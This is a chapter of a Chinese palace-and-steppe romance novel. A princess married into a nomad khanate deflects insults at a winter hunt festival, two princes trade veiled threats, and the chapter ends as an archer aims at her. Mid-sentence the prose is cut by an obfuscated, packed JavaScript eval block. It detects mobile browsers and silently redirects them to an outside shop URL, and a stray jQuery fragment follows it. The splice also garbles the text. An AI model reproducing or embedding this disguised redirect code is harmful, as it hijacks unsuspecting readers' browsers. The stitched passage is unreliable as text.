一路上,景岁安都透过窗户观察着骑在踏雪驹上的士兵,踏雪很不老实,但好在行进缓慢,它还能压着性子。
若要动手,会选择什么时机呢?
路上?
这条路上一路平坦,伏击并非上策。
可若是抵达了会场,众目睽睽之下自己作为异族一定是最显眼的,不可能有动手的时机。她的目光细细打量着踏雪驹,眼睛愈发阴冷。只能是利用马匹对她下手。如今换乘马车也只能保证安全抵达会场,但之后会发生什么就再难掌控了。
她冷脸思索,丝毫没注意到周围越来越热闹。
“公主。”女奴轻声呼唤。“咱们到了。”
此处是特地选的丰茂平坦的草场,场地四周用白色镶蓝边的布围了起来,那布不算高,视线越过去往里看,还能看到草原特有的敖包,五彩的禄马风旗被风吹得猎猎作响。
下了马车,景岁安瞬间成为了所有人的焦点。形形色色的草原人三两成对地聚在一起对着她指指点点,不只是贵族以及家眷,甚至连他们身后的奴隶也正大光明地嚼舌根。
“猎冬节居然乘马车,也不怕惹怒神明降下诅咒。”
“真不明白,大可汗为何会同意让她来!穿得不伦不类,若是得罪了苍狼神……”
更是有人在看清景岁安眉间红痣时大骂她是妖怪。
女奴有些羞愧地低着头,景岁安却连眼睛都懒得抬一下,就这些不痛不痒的话跟京城里的可没法比。
“你不必跟着我,去找赤那,然后跟他说……”景岁安靠近女奴压低声音后才说出了后半句:“让他想办法看好踏雪驹。”
女奴得了准许,几乎是逃出去的。
景岁安看了眼面前的大门,抬脚就往里走,进入后视野瞬间变得开阔。场地中心是篝火,敖包,还有人群载歌载舞。而两边都是席位,虽布置简陋但也是一人一席。刚刚走进去就有负责盛会的女奴领着进场的众人去自己的位置。她本分地跟着,也挡不住周围投来越来越多的异样目光。
她作为赫卢那朔的家眷,被安排的席位距离大可汗等一众亲属的席位只隔着一条过道。刚刚落座,就感受到一道炙热的目光,抬眼看过去正对上一双带着担忧的眼睛。
赫卢那朔。
她的心口一紧,赫卢那朔的身边都是大可汗跟前有头有脸的人物,他们说着话敬着酒,可他的眼睛始终落在她的身上。
她脸上扯出个笑,用眼神示意他,自己没事。
或许是多日不见,竟生出些奇怪的感觉,她有些心虚,刚想垂下眼,余光瞥见赫卢那朔身边的人正顺着他的目光看了过来,随即露出个阴冷的笑。
景岁安眼皮一跳,另一道目光让她不由得在心里低低地骂了一句。
那是小可汗,赫卢那烈。而他那双鹰眼如同锁定了猎物般地看向她。
身边突然传来的草原话打断了景岁安的思绪,她垂下眼睛躲开赫卢那烈的视线,竖起耳朵仔细地听。那是个一看就颇有身份的贵族夫人,身材丰腴,身着华服,就连身上的首饰都比旁人要精美不少,她手里拿着个酒杯,脸上透着潮红,似是已喝了不少,说话也没控制音量。或许是仗着景岁安听不懂,她身边坐着的一群女人紧接着发出不加遮掩的嘲笑声。
景岁安露出个挑不出错的笑容,可一双眸子却透着寒光,转过脸去看着她们,开口竟是一口标准的草原话,“富人们美貌绝伦,身姿丰腴,我自是望尘莫及。”
众人皆是一惊,愣在原地片刻后才有些慌张地看向带头的夫人。
而景岁安不卑不亢继续开口,声音带着不容随意僭越的大国风范:“我虽年幼不知体统,但也是大可汗亲自点了头由霁周皇帝亲手送来和亲的。如今我是大可汗的儿媳,也是他邀请来参加节礼的,不知方才夫人所言的侮辱之词可是冲着大可汗?”
能坐在这里的身份都是不容小觑的,那夫人本就喝得上了头,眼看着一张脸涨得通红,瞪着她恨不能立刻冲上来。
景岁安却笑得更甜了,举起手中的酒杯敬向她,随后一口闷下才开口道:“是我初来乍到,也未曾与各位夫人们打招呼,我自罚一杯,一是为表歉意,二是代特勤向各位以及各位部族的首领问好。”
此话一出,那夫人就算不顾着伸手不打笑脸人,也是万万不敢再说什么了。为了口舌之快给自家那位招惹麻烦倒没什么,可这麻烦若是赫卢那朔,那就要另当别论了。
身边其他几位更是陪着笑,转头就在私底下讨论起之前听来的八卦是不是不准,不是说赫卢那朔与她不和吗?
——
赫卢那朔虽稍稍收敛了目光,但方才的闹剧他尽收眼底。本来是颇为担心的,这草原上的人不似霁周人,他生怕景岁安会吃亏。可见她三两句就将那夫人说得只能吃哑巴亏,嘴角不自觉扬起,还是自己小瞧了她。
“还没恭喜你娶到此等美人呢。”不怀好意的声音打断了赫卢那朔,他的脸瞬间阴沉下来,眼都懒得抬一下。
小可汗看着赫卢那朔,见他的反应如此冷淡也只是冷笑一声接着打趣道:“只是这人虽美,你也不必这般不放心吧?竟要时时刻刻都盯着?”
他拿起酒杯伸过去在赫卢那朔的酒杯上轻轻一碰,露出个满是侵略意味的笑,“这里并没有人会跟你抢,不是吗?”
赫卢那朔抬眼瞪向他,眼底深处是熊熊燃烧的怒火,可脸上却克制着没有任何表情地开口道:“倒是难说。”
小可汗轻笑出声,“我看你是搞错了。”随后眼睛一眯,冷光乍现,“明明是你抢了我的,怎么还倒打一耙呢,好弟弟?”
赫卢那朔的眉毛皱了起来,直面小可汗的目光也是不落下风,开口丝毫不客气,“有战功者得,这很公平。”
小可汗摆摆手,笑着调节紧张的气氛:“你看你,急什么?”他低下眸子给自己又倒了一杯酒,一仰头烈酒顺着喉咙而下,感受到热烈的灼烧感他瞳孔一颤,随后露出个满意的笑。
微微转头靠近,刻意压低了声音说道:“听说当年的小公主在宫中有个草原玩伴啊?”
只一瞬,赫卢那朔青筋暴起,脸色阴沉得仿佛要杀人。
这消息他是从哪知道的?
小可汗笑意更浓,声音似毒蛇般阴冷:“听说那玩伴还是草原的王子,你说巧不巧?”
他眸色一沉,“我,不就是草原的王子吗?”
随着一声清脆的碎裂声,赫卢那朔手中的酒杯顿时爆裂开来。
大可汗正与身边的人说着话,也被这一声吸引了目光。
还不等他开口,小可汗笑着抢在前面开口道:“你说你,急什么?不过喝多了与你瞎说两句。”
他这么一遮掩,众人也只觉得这不过是那兄弟二人又在争强斗狠,并没有引起大可汗的怀疑。可就在此时,小可汗的声音如同恶鬼一点点攀了上来。
“自卑自己的身份?”他冷笑一声,“没事的,卑微的你至少还有赫卢那这个姓氏,虽然改变不了你的身份,但至少也不会在她身边时显得太过卑微。”
……
赫卢那朔的手被酒杯碎片划破,正滴着血,可他丝毫不在意,只低垂着眼眸,遮掩着其中那些见不得光的东西。
卑微又如何?在她身边的也只会是我。
小可汗冷笑一声收回了视线。
这样刺激赫卢那朔还是太无趣了,但一想到这把柄只是捏在手中就能有如此效果,他不免有些兴奋。
日子还长呢,好弟弟。
————
酒过三巡,这场盛会最重要的环节才刚刚要开始。
大可汗站起身,手中举着酒杯大声地宣布:“今年的猎冬正式开始!”
场下沸腾起来。
他的眼睛环视四周,最终落在景岁安的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743681|209170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身上。
“猎冬猎的不只是寒冷,同样是要驱逐一年的晦气,祈求苍狼神为我苍狼庭降下祝福!本是不该有外人参加的。”
周围的一双双眼睛不怀好意地看向景岁安。
“但霁周公主既然已经嫁给我儿,那也该有草原人的样子!草原上的女子皆是不输男子的豪杰,本汗倒是要问问霁周的公主可能做到?”
人群中的窃笑和指指点点又开始了,可景岁安的脸上丝毫没有窘迫,反倒是大方地站起身看向大可汗,看着柔弱开口却无比的自信。
“回大可汗,岁安的骑射虽不算出众,但为了两国和平,也为了狼神和大可汗的荣光,岁安一定拼尽全力。”
周围安静了下来,哪怕心中再看不起她,此刻也再难开口了。只是那一双双眼睛依旧看着她,暗地里盼着这个只会说漂亮话的霁周女人出丑。
大可汗脸上一喜,对于景岁安的反应颇为满意,手中酒杯举起,豪饮而下。
“猎冬开始!”
会参加猎冬的都是颇有地位的,他们携夫人陆续前往马圈前的出发点,会有奴隶将他们带来的马牵出来。小可汗尚未娶妻,身边空无一人也就算了,只是这朔特勤身边怎么也是空的。
众人正小声议论着,就看到远处那个骑在马上晃晃悠悠的身影正朝他们靠近。
景岁安的踏雪驹一出场就吸引了众人的目光,此等好马着实难得一见,只是……这马背上的人歪歪扭扭的,生怕她下一秒就要摔下来,就连缰绳都是由赤那牵着的。
真是暴殄天物……
景岁安只管装模作样,丝毫不觉得丢脸,俯下身子还跟赤那小声地嘀咕,“你确定没人靠近过踏雪吧?”
赤那只觉得这辈子的脸都丢尽了,满脸的羞红,对上赫卢那朔冰冷的目光更是一把捂住了脸小声地回她:“放心吧,我可是放弃了美酒佳肴一刻不敢稍离,都没来得及跟特勤说一声呢。”
赤那小心翼翼地连人带马送到了赫卢那朔身边,这才弱弱地对他行礼道:“公主吩咐得突然,没来得及跟特勤说一声…”
赫卢那朔瞥了他一眼,见他欲哭无泪的模样只淡淡撇下一句:“我吩咐你的事可别忘了就好。”
赤那连忙点头:“不会的不会的,我这就去准备。”
说完一溜烟就跑走了。
景岁安摸不着头脑,感受到他看过来的目光后抓着缰绳的手不自觉地紧了紧,竟莫名生出些心虚。
她觉得应该说些什么的,可是该说什么呢?好几日没见了,一般是该关心一二才对,可……
她小心翼翼地抬眼看了他,立刻又垂下了眼眸,余光瞥见他手上草草包扎的绷带后,话竟自己脱口而出,“手怎么了?”
赫卢那朔眼底一颤,压了压上扬的嘴角才开口:“没什么。”
身后突然传来一阵冰冷的杀气,她猛地回头看去,却只看到那些探究的目光。她什么都没说,只是眸子中有什么一闪而过,落在赫卢那朔眼中哪怕不言语也是明白的。
“一切都别逞强。”他的话是难得的温柔。
景岁安笑着开口:“特勤放心,我会尽量留个活口的。”
“至于狩猎。”她放缓了语调,“就交给特勤了。”
赫卢那朔笑着收回目光,语气坚定地说道:“今年胜者可得红珊瑚腰坠,与你很是相配。”
随着大可汗一声令下,众人纵马冲了出去。
而景岁安突兀地落在了最后面,她生疏地骑着马,看样子就连顺利赶到猎场都费劲。她渐渐脱离了大部队,单薄的身影在高头大马上摇摇欲坠,宛如待宰的羔羊。
她看起来只顾着如何不从马背上摔下来。丝毫没注意到身后寒光一闪,箭已搭在弦上,阴测测的目光紧紧盯着她。
“永别了,霁周公主。”
那双手一松,寒光划破空气,对准了景岁安的后心。